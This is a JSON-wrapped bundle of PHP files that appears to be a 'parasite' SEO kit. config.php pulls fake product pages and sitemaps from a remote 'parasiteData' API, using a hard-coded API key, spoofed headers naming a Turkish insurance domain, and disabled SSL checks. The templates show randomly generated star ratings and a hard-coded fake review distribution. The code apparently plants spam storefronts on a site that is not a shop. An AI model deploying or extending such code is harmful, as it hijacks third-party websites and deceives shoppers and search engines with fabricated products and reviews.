isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/var/www/html';\n$script_path = str_replace($document_root, '', __DIR__);\n$base_parasite_url = rtrim($protocol . $site_domain, '/');\n$GLOBALS['base_parasite_url'] = $base_parasite_url;\n\n\n$default_data = array(\n 'brand' =\u003e 'Generic Brand',\n 'rating' =\u003e array(\n 'score' =\u003e number_format(rand(40, 50) / 10, 1),\n 'count' =\u003e rand(15, 150)\n ),\n 'currency' =\u003e 'USD',\n 'default_image' =\u003e 'https://cdn.suruga-ya.jp/database/images/no_photo.jpg'\n);\n\n\ndefine('API_BASE_URL', 'https://gateway.qrstabcd.com/api/parasiteData/getParasiteData');\ndefine('API_KEY', '881c355b2599f4d6e2918f89ad79388cf7fe87115fe135d0d06ecad2a47e39a5');\ndefine('API_DOMAIN', 'gateway.qrstabcd.com');\ndefine('ASITE_DOMAIN', 'https://berendisigorta.com.tr');\ndefine('ID_OFFSET', 94296);\ndefine('URL_TEMPLATE', 'products/{title}/{id}');\n\nfunction getParasiteData($productId = null) {\n $url = API_BASE_URL;\n \n $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n \n $params = array();\n if ($productId) {\n $params['product_id'] = $productId;\n }\n if ($needTitle) {\n $params['title'] = 'true';\n }\n \n if (!empty($params)) {\n $url .= '?' . http_build_query($params);\n }\n \n if (USE_CURL) {\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n 'X-API-Key: ' . API_KEY,\n 'Host: ' . API_DOMAIN,\n 'Origin: ' . ASITE_DOMAIN,\n 'Referer: ' . ASITE_DOMAIN . '/',\n 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n ));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n curl_setopt($ch, CURLOPT_TIMEOUT, 10);\n \n $response = curl_exec($ch);\n curl_close($ch);\n } else {\n $headers = array(\n 'X-API-Key: ' . API_KEY,\n 'Host: ' . API_DOMAIN,\n 'Origin: ' . ASITE_DOMAIN,\n 'Referer: ' . ASITE_DOMAIN . '/',\n 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n );\n $context = stream_context_create(array(\n 'http' =\u003e array(\n 'timeout' =\u003e 10,\n 'header' =\u003e implode(\"\\r\\n\", $headers)\n )\n ));\n $response = @file_get_contents($url, false, $context);\n }\n \n if ($response === false) {\n return null;\n }\n \n $result = json_decode($response, true);\n return isset($result['data']) ? $result['data'] : null;\n}\n\nfunction getSitemapData() {\n $url = 'https://' . API_DOMAIN . '/api/parasiteData/getSitemapData';\n \n // ???????????????\n $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n if ($needTitle) {\n $url .= '?title=true';\n }\n \n if (USE_CURL) {\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n 'X-API-Key: ' . API_KEY,\n 'Host: ' . API_DOMAIN,\n 'Origin: ' . ASITE_DOMAIN,\n 'Referer: ' . ASITE_DOMAIN . '/',\n 'Content-Type: application/json',\n 'Accept: application/json',\n 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n ));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n curl_setopt($ch, CURLOPT_TIMEOUT, 30);\n \n $response = curl_exec($ch);\n curl_close($ch);\n } else {\n $headers = array(\n 'X-API-Key: ' . API_KEY,\n 'Host: ' . API_DOMAIN,\n 'Origin: ' . ASITE_DOMAIN,\n 'Referer: ' . ASITE_DOMAIN . '/',\n 'Content-Type: application/json',\n 'Accept: application/json',\n 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n );\n $context = stream_context_create(array(\n 'http' =\u003e array(\n 'timeout' =\u003e 30,\n 'header' =\u003e implode(\"\\r\\n\", $headers)\n )\n ));\n $response = @file_get_contents($url, false, $context);\n }\n \n if ($response === false) {\n return null;\n }\n \n $result = json_decode($response, true);\n return isset($result['data']) ? $result['data'] : null;\n}\nfunction buildProductUrl($productId, $productTitle = null) {\n $template = URL_TEMPLATE;\n $baseUrl = $GLOBALS['base_parasite_url'];\n \n $displayId = (int)$productId + ID_OFFSET;\n \n if (strpos($template, '?') === 0) {\n return $baseUrl . '/' . str_replace('{id}', $displayId, $template);\n } else {\n $url = $template;\n \n if (strpos($template, '{title}') !== false) {\n if ($productTitle) {\n $cleanTitle = cleanTitleForURL($productTitle);\n $url = str_replace('{title}', $cleanTitle, $url);\n } else {\n $url = str_replace('{title}', 'shopdetail', $url);\n }\n }\n \n $url = str_replace('{id}', $displayId, $url);\n return $baseUrl . '/' . $url . '/';\n }\n}\n\nfunction cleanTitleForURL($title) {\n if (empty($title)) {\n return '';\n }\n \n $title = strtolower($title);\n $title = preg_replace('/[^a-z0-9\\s-]/', '', $title);\n $title = preg_replace('/\\s+/', '-', $title);\n $title = preg_replace('/-+/', '-', $title);\n $title = trim($title, '-');\n \n if (empty($title)) {\n $title = '';\n }\n \n return $title;\n}\n\nfunction parseProductId($requestUri) {\n $template = URL_TEMPLATE;\n $displayId = null;\n \n if (strpos($template, '?') === 0) {\n $query = parse_url($requestUri, PHP_URL_QUERY);\n parse_str($query, $params);\n $paramName = trim($template, '?={id}');\n $displayId = isset($params[$paramName]) ? $params[$paramName] : null;\n } else {\n // 首先尝试路径解析\n $path = parse_url($requestUri, PHP_URL_PATH);\n $segments = explode('/', trim($path, '/'));\n $templateSegments = explode('/', $template);\n \n // 处理包含 {title} 的模板\n if (strpos($template, '{title}') !== false) {\n // 查找 {id} 在模板中的位置\n foreach ($templateSegments as $index =\u003e $segment) {\n if ($segment === '{id}' \u0026\u0026 isset($segments[$index])) {\n $displayId = $segments[$index];\n break;\n }\n }\n } else {\n // 原有逻辑\n foreach ($templateSegments as $index =\u003e $segment) {\n if ($segment === '{id}' \u0026\u0026 isset($segments[$index])) {\n $displayId = $segments[$index];\n break;\n }\n }\n }\n \n if ($displayId === null) {\n $query = parse_url($requestUri, PHP_URL_QUERY);\n if ($query \u0026\u0026 strpos($query, 'shopdetail/') === 0) {\n $queryPath = trim($query, '/');\n $querySegments = explode('/', $queryPath);\n \n $shopdetailIndex = array_search('shopdetail', $querySegments);\n if ($shopdetailIndex !== false \u0026\u0026 isset($querySegments[$shopdetailIndex + 2])) {\n $displayId = end($querySegments);\n }\n }\n }\n }\n \n // 减去偏移量得到真实ID\n if ($displayId !== null \u0026\u0026 is_numeric($displayId)) {\n return $displayId - ID_OFFSET;\n }\n \n return null;\n}\n\n\n","path":"config.php"},{"content":"\u003cdiv class=\"product_zoom\"\u003e\r\n \u003c?php if (isset($data['images']) \u0026\u0026 !empty($data['images'])): ?\u003e\r\n \u003cdiv class=\"easyzoom easyzoom--with-thumbnails d-flex justify-content-center has-image\"\u003e\r\n \u003ca href=\"\u003c?php echo $data['images'][0]; ?\u003e\" class=\"show-lightbox main-pro-lightbox\" data-id=\"data-item-1\"\u003e\r\n \u003cimg src=\"\u003c?php echo $data['images'][0]; ?\u003e\" class=\"img-fluid main-pro-img cursor_pointer\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\r\n \u003c/a\u003e\r\n \u003c/div\u003e\r\n \r\n \u003c?php if (count($data['images']) \u003e 1): ?\u003e\r\n \u003cdiv class=\"d-flex justify-content-center\"\u003e\r\n \u003cdiv style=\"width: 87%;\"\u003e\r\n \u003cdiv class=\"swiper-container zoom_product_thumnail position-relative thumbnails\"\u003e\r\n \u003cdiv class=\"swiper-wrapper total-img\" data-img=\"\u003c?php echo count($data['images']); ?\u003e\"\u003e\r\n \u003c?php foreach ($data['images'] as $index =\u003e $image): ?\u003e\r\n \u003cdiv class=\"swiper-slide\"\u003e\r\n \u003ca href=\"\u003c?php echo $image; ?\u003e\" class=\"thumnail-link\" data-standard=\"\u003c?php echo $image; ?\u003e\"\u003e\r\n \u003cimg src=\"\u003c?php echo $image; ?\u003e\" class=\"img-fluid\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e Image \u003c?php echo $index + 1; ?\u003e\"\u003e\r\n \u003c/a\u003e\r\n \u003c/div\u003e\r\n \u003c?php endforeach; ?\u003e\r\n \u003c/div\u003e\r\n \u003cdiv class=\"swiper-button-prev thumnail-swiper-button-prev\" onclick=\"swiper_thumbnail_prev()\"\u003e\u003c/div\u003e\r\n \u003cdiv class=\"swiper-button-next thumnail-swiper-button-next\" onclick=\"swiper_thumbnail_next()\"\u003e\u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c/div\u003e\r\n \u003c?php endif; ?\u003e\r\n \u003c?php else: ?\u003e\r\n \u003cdiv class=\"easyzoom-no-image d-flex justify-content-center\"\u003e\r\n \u003ca href=\"\u003c?php echo $data['default_image']; ?\u003e\" class=\"show-lightbox main-pro-lightbox\" data-id=\"data-item-1\"\u003e\r\n \u003cimg src=\"\u003c?php echo $data['default_image']; ?\u003e\" class=\"img-fluid main-pro-img cursor_pointer\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\r\n \u003c/a\u003e\r\n \u003c/div\u003e\r\n \u003c?php endif; ?\u003e\r\n\u003c/div\u003e\r\n\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n // 初始化lightbox\r\n lightbox.option({\r\n 'resizeDuration': 200,\r\n 'wrapAround': true,\r\n 'alwaysShowNavOnTouchDevices': true,\r\n 'maxWidth': 800,\r\n 'maxHeight': 600\r\n });\r\n \r\n // 初始化缩略图轮播\r\n var swiper = new Swiper('.zoom_product_thumnail', {\r\n slidesPerView: 4,\r\n spaceBetween: 5,\r\n loop: false,\r\n breakpoints: {\r\n 640: {\r\n slidesPerView: 2,\r\n spaceBetween: 5,\r\n },\r\n 768: {\r\n slidesPerView: 3,\r\n spaceBetween: 5,\r\n },\r\n 1024: {\r\n slidesPerView: 4,\r\n spaceBetween: 5,\r\n },\r\n },\r\n navigation: {\r\n nextEl: '.thumnail-swiper-button-next',\r\n prevEl: '.thumnail-swiper-button-prev',\r\n },\r\n });\r\n\r\n // 缩略图点击事件\r\n document.querySelectorAll('.thumnail-link').forEach(function(link) {\r\n link.addEventListener('click', function(e) {\r\n e.preventDefault();\r\n var newSrc = this.getAttribute('data-standard');\r\n var mainImg = document.querySelector('.main-pro-img');\r\n var mainLink = document.querySelector('.main-pro-lightbox');\r\n \r\n if (mainImg \u0026\u0026 mainLink) {\r\n mainImg.src = newSrc;\r\n mainLink.href = newSrc;\r\n }\r\n });\r\n });\r\n});\r\n\r\nfunction swiper_thumbnail_prev() {\r\n if (window.swiperThumbnail) {\r\n window.swiperThumbnail.slidePrev();\r\n }\r\n}\r\n\r\nfunction swiper_thumbnail_next() {\r\n if (window.swiperThumbnail) {\r\n window.swiperThumbnail.slideNext();\r\n }\r\n}\r\n\u003c/script\u003e ","path":"includes/product_images_complete.php"},{"content":"\u003c!-- Product Reviews Section --\u003e\n\u003cdiv class=\"row mgnB10 border-top pt-4 mt-5\"\u003e\n \u003cdiv class=\"col-md-12\"\u003e\n \u003ch3 class=\"h3_header mt-3 mgnB12\"\u003eProduct Review\u003c/h3\u003e\n \n \u003c!-- Login Requirement --\u003e\n \u003ca class=\"mt-3 mb-3 link_underline d-block\" style=\"margin-bottom: 15px !important;\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003e\n You must be logged in to post a review\n \u003c/a\u003e\n \n \u003c!-- Review Summary and Graph --\u003e\n \u003cdiv id=\"naviplus-review-list-4\" style=\"\"\u003e\n \u003cdiv class=\"navi-review-wrapper\"\u003e\n \u003cdiv class=\"navi-review-header\"\u003e\n \u003cul class=\"navi-review-header-ul\"\u003e\n \u003cli class=\"navi-review-item\"\u003e\n \u003cdiv class=\"navi-review-item-detail\"\u003e\n \u003cdiv class=\"navi-review-item-image-title-rate\"\u003e\n \u003cp class=\"navi-review-average-star\"\u003e\n \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $data['rating']['score']; ?\u003e\"\u003e\n \u003c?php\n $rating = $data['rating']['score'];\n for ($i = 1; $i \u003c= 5; $i++) {\n if ($i \u003c= floor($rating)) {\n echo '\u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-on.png\"\u003e\u0026nbsp;';\n } else {\n echo '\u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-off.png\"\u003e\u0026nbsp;';\n }\n }\n ?\u003e\n \u003c/span\u003e\n \u0026nbsp;\u003c?php echo $data['rating']['score']; ?\u003e\n \u003cspan\u003e( \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"navi-review-search-clear-button\"\u003e\u003c?php echo $data['rating']['count']; ?\u003e items\u003c/a\u003e )\u003c/span\u003e\n \u003c/p\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/li\u003e\n \u003cli class=\"navi-review-graph\"\u003e\n \u003cdiv class=\"navi-review-graph-inner\"\u003e\n \u003cul class=\"navi-review-graph-ul\"\u003e\n \u003cli\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003c?php \n // 模拟评分分布\n $rating_distribution = array(\n 5 =\u003e 15,\n 4 =\u003e 5,\n 3 =\u003e 2,\n 2 =\u003e 1,\n 1 =\u003e 0\n );\n $total_reviews = array_sum($rating_distribution);\n\n for ($star = 5; $star \u003e= 1; $star--): \n $count = $rating_distribution[$star];\n $percentage = ($total_reviews \u003e 0) ? ($count / $total_reviews) * 100 : 0;\n ?\u003e\n \u003ctr\u003e\n \u003cth\u003e\n \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $star; ?\u003e\"\u003e\n \u003c?php for ($s = 1; $s \u003c= 5; $s++): ?\u003e\n \u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-\u003c?php echo ($s \u003c= $star) ? 'on' : 'off'; ?\u003e.png\"\u003e\n \u003c?php endfor; ?\u003e\n \u003c/span\u003e\n \u003c/th\u003e\n \u003ctd\u003e\n \u003cdiv class=\"navi-review-graph-part\"\u003e\n \u003cspan class=\"navi-review-bar\" style=\"width: \u003c?php echo $percentage; ?\u003e%\"\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"navi-review-number-link\"\u003e\u003c?php echo $count; ?\u003e items\u003c/a\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c?php endfor; ?\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \n \u003c!-- Sort and Search --\u003e\n \u003cdiv class=\"navi-review-sort-search\"\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eSort\u003c/th\u003e\n \u003ctd\u003e\n \u003cdiv class=\"navi-review-sort\"\u003e\n \u003cdiv class=\"navi-review-sort-button-group\" data-toggle=\"buttons\"\u003e\n \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-sort-button-active disabled\"\u003eNewest\u003c/button\u003e\n \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-link\"\u003eHighest rating\u003c/button\u003e\n \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-link\"\u003eUsefulness\u003c/button\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003cth\u003ekeyword\u003c/th\u003e\n \u003ctd\u003e\n \u003cdiv class=\"navi-review-search\"\u003e\n \u003cform class=\"navi-review-search-form\"\u003e\n \u003cinput type=\"text\" name=\"text\" class=\"navi-review-search-input\"\u003e\n \u003cbutton type=\"submit\" class=\"navi-review-search-button\"\u003esearch\u003c/button\u003e\n \u003cbutton type=\"submit\" class=\"navi-review-search-clear-button\"\u003eClear\u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003c/div\u003e\n \n \u003c?php if (empty($reviews)): ?\u003e\n \u003cp class=\"navi-review-no-result\"\u003eThere are currently no product reviews.\u003c/p\u003e\n \u003c?php else: ?\u003e\n \u003c!-- This is where review items would be looped and displayed if they existed --\u003e\n \u003c?php endif; ?\u003e\n \n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cstyle\u003e\n/* Styles from crawler_view.html for Review Section */\n.navi-review-wrapper {\n font-family: \"ヒラギノ角ゴ Pro W3\", \"Hiragino Kaku Gothic Pro\", \"メイリオ\", Meiryo, Osaka, \"MS Pゴシック\", \"MS PGothic\", sans-serif;\n padding: 0;\n width: 100%;\n max-width: 990px;\n margin: 0 auto;\n color: #333;\n}\n.navi-review-header {\n margin-bottom: 10px;\n border: 1px solid #ccc;\n background: #f8f8f8;\n}\n.navi-review-header-ul {\n display: table;\n width: 100%;\n margin: 0;\n padding: 0;\n}\n.navi-review-header-ul \u003e li {\n display: table-cell;\n vertical-align: middle;\n padding: 20px;\n}\n.navi-review-item {\n width: 45%;\n}\n.navi-review-item-detail {\n margin: 0;\n}\n.navi-review-item-image-title-rate {\n font-size: 16px;\n line-height: 1.5;\n}\n.navi-review-average-star {\n font-size: 20px;\n}\n.navi-review-rate img {\n vertical-align: middle;\n width: 18px;\n height: 18px;\n}\n.navi-review-graph {\n border-left: 1px solid #ccc;\n}\n.navi-review-graph-ul {\n list-style: none;\n padding: 0;\n margin: 0;\n}\n.navi-review-graph-ul table {\n width: 100%;\n}\n.navi-review-graph-ul th {\n padding-right: 15px;\n text-align: right;\n font-weight: normal;\n vertical-align: middle;\n}\n.navi-review-graph-ul td {\n display: flex;\n align-items: center;\n}\n.navi-review-graph-part {\n background-color: #f0f0f0;\n height: 10px;\n width: 60%;\n flex-shrink: 0;\n}\n.navi-review-bar {\n display: block;\n height: 100%;\n background-color: #f8c146;\n}\na.navi-review-number-link {\n color: #004098;\n text-decoration: underline;\n font-size: 13px;\n margin-left: 10px;\n white-space: nowrap;\n}\n.navi-review-sort-search {\n border: 1px solid #ccc;\n background: #f8f8f8;\n padding: 10px;\n}\n.navi-review-sort-search table {\n width: 100%;\n}\n.navi-review-sort-search th {\n font-weight: bold;\n text-align: right;\n padding-right: 10px;\n width: 80px;\n}\n.navi-review-sort-button-group {\n display: inline-block;\n}\n.navi-review-sort-button {\n background: #fff;\n border: 1px solid #ccc;\n padding: 5px 15px;\n margin: 0 2px;\n cursor: pointer;\n color: #337ab7;\n border-radius: 3px;\n}\n.navi-review-sort-button.disabled {\n background: #337ab7;\n color: #fff;\n border-color: #2e6da4;\n}\n.navi-review-search-input {\n width: 250px;\n padding: 5px;\n border: 1px solid #ccc;\n border-radius: 3px;\n}\n.navi-review-search-button, .navi-review-search-clear-button {\n padding: 5px 15px;\n margin-left: 5px;\n border: 1px solid #ccc;\n background: #fff;\n color: #333;\n border-radius: 3px;\n}\n.navi-review-search-button {\n background: #337ab7;\n color: #fff;\n border-color: #2e6da4;\n}\n.navi-review-no-result {\n margin-top: 20px;\n padding: 20px;\n text-align: center;\n border: 1px solid #ddd;\n background: #fff;\n}\n\u003c/style\u003e ","path":"includes/product_reviews.php"},{"content":"User-agent: *\nAllow: /\nSitemap: https://berendisigorta.com.tr/sitemap.xml","path":"robots.txt"}],"site":"35909"},"msg":"成功"}